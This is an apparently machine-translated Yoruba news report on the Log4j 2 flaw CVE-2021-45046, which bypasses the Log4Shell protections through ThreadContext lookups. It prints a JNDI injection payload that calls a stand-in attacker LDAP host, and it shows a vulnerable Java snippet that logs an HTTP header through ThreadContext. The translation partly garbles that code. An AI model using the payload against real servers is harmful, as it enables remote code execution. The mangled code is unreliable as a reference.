Aṣayan ikọlu tuntun fun Log4j 2 ti o fun ọ laaye lati fori aabo ti a ṣafikun

Ailagbara miiran ti ṣe idanimọ ni imuse awọn wiwa JNDI ni ile-ikawe Log4j 2 (CVE-2021-45046), eyiti o han laibikita awọn atunṣe ti a ṣafikun ni itusilẹ 2.15 ati laibikita lilo eto “log4j2.noFormatMsgLookup” fun aabo. Iṣoro naa lewu ni akọkọ fun awọn ẹya agbalagba ti Log4j 2, ni aabo ni lilo asia “noFormatMsgLookup”, bi o ṣe jẹ ki o ṣee ṣe lati fori aabo lati awọn ailagbara iṣaaju (Log4Shell, CVE-2021-44228), eyiti o fun ọ laaye lati ṣiṣẹ koodu rẹ lori olupin. Fun awọn olumulo ti ikede 2.15, ilokulo wa ni opin si nfa ohun elo naa lati jamba nitori idinku awọn orisun to wa.

Ailagbara naa han nikan lori awọn ọna ṣiṣe ti o lo Awọn Ṣiṣawari Ọrọ lati wọle, gẹgẹbi ${ctx:loginId}, tabi awọn awoṣe MDC (Map Context Thread), bii %X, %mdc, ati %MDC. Iṣiṣẹ wa si isalẹ lati ṣiṣẹda awọn ipo fun jijade data ti o ni awọn aropo JNDI si log nigba lilo awọn ibeere ọrọ tabi awọn awoṣe MDC ninu ohun elo ti o ṣalaye awọn ofin fun ṣiṣe ọna kika si akọọlẹ naa.

Awọn oniwadi lati LunaSec ṣe akiyesi pe fun awọn ẹya Log4j kere ju 2.15, ailagbara yii le ṣee lo bi fekito tuntun fun ikọlu Log4Shell, ti o yori si ipaniyan koodu, ti awọn ọrọ ThreadContext ti o pẹlu data ita ni a lo ninu iṣẹjade log, laibikita boya asia "dabobo" wa ni sise. noMsgFormatLookups" tabi awoṣe "%m{nolookups}".

Aṣayan ikọlu tuntun fun Log4j 2 ti o fun ọ laaye lati fori aabo ti a ṣafikun

Nipa aabo aabo wa si otitọ pe dipo fidipo taara ti “${jndi:ldap://attacker.com/a}”, ikosile yii jẹ aropo nipasẹ iye ti oniyipada agbedemeji ti a lo ninu awọn ofin fun titọjade igbejade log . Fún àpẹrẹ, tí a bá lo ìbéèrè ọ̀rọ̀ ${ctx:apiversion} nígbà tí o bá ń jáde jáde sí àkọọ́lẹ̀ náà, a le ṣe ìkọlù náà nípa yíyí dátà náà “${jndi:ldap://attacker.com/a}” padà sí iye ti a kọ si oniyipada apiversion. Apeere koodu ipalara: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @ GetMapping("/") atọka okun ti gbogbo eniyan (@RequestHeader("X-Api-Version") apiVersion okun) {// Iye akọle HTTP "X-Api-Version" ti kọja si ThreadContext ThreadContext.put("apiversion) ", apiVersion ); // Nigbati o ba n jade si akọọlẹ naa, iye apiversion ita yoo ṣee ṣe ni lilo aropo ${ctx:apiversion} logger.info("Ti gba ibeere fun ẹya API"); pada "Hello, aye!"; }

Ninu ẹya Log4j 2.15, ailagbara le ṣee lo lati ṣe awọn ikọlu DoS nigbati o ba n kọja awọn iye si ThreadContext, ti o yorisi lupu ni sisẹ awoṣe kika igbejade.

Aṣayan ikọlu tuntun fun Log4j 2 ti o fun ọ laaye lati fori aabo ti a ṣafikun

Lati dènà ailagbara, awọn imudojuiwọn 2.16 ati 2.12.2 ni a tẹjade. Ninu ẹka Log4j 2.16, ni afikun si awọn atunṣe ti a ṣe imuse ni ẹya 2.15 ati abuda ti awọn ibeere JNDI LDAP si “localhost”, iṣẹ-ṣiṣe JNDI jẹ alaabo patapata nipasẹ aiyipada ati atilẹyin fun awọn awoṣe fidipo ifiranṣẹ ti yọkuro. Gẹgẹbi iṣẹ aabo, o daba lati yọ kilasi JndiLookup kuro ni ọna kilasi (fun apẹẹrẹ, “zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class”) .

O le tọpasẹ ifarahan awọn atunṣe ninu awọn idii lori awọn oju-iwe pinpin (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) àti àwọn olùpèsè ìtàgé Java (GitHub, Docker, Oracle, vmWare, Broadcom àti Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure, àti bẹ́ẹ̀ bẹ́ẹ̀ lọ).

orisun: opennet.ru

Ra alejo gbigba igbẹkẹle fun awọn aaye pẹlu aabo DDoS, awọn olupin VPS VDS 🔥 Ra gbigbalejo oju opo wẹẹbu ti o gbẹkẹle pẹlu aabo DDoS, awọn olupin VPS VDS | ProHoster